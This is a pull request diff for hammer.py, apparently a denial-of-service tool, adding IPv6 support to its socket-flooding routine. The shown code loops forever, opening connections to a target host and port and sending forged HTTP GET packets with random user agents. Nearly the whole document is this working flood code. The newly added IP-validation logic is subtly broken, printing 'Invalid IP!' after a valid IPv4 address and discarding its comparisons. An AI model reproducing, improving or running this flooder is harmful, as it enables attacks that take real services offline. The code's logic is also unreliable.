Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
24 changes: 19 additions & 5 deletions hammer.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@

from queue import Queue
from optparse import OptionParser
import time,sys,socket,threading,logging,urllib.request,random
import time,sys,socket,threading,logging,urllib.request,random,ipaddress

def user_agent():
global uagent
Expand Down Expand Up @@ -41,11 +41,14 @@ def bot_hammering(url):
time.sleep(.1)


def down_it(item):
def down_it(item, ):
try:
while True:
packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if ip4:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
else:
s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
s.connect((host,int(port)))
if s.sendto( packet, (host, int(port)) ):
s.shutdown(1)
Expand Down Expand Up @@ -123,7 +126,8 @@ def get_parameters():
#task queue are q,w
q = Queue()
w = Queue()

# Ip version
ip4 = True

if __name__ == '__main__':
if len(sys.argv) < 2:
Expand All @@ -135,7 +139,17 @@ def get_parameters():
my_bots()
time.sleep(5)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Check if it's either a ipv4, a ipv6 or a invalid IP!
try:
ipaddress.ip_address(host) == ipaddress.IPv4Address(host)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except:
ipaddress.ip_address(host) == ipaddress.IPv6Address(host)
s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
ip4 = False
else:
print('\033[91mInvalid IP!\nPlease try another one!')

s.connect((host,int(port)))
s.settimeout(1)
except socket.error as e:
Expand Down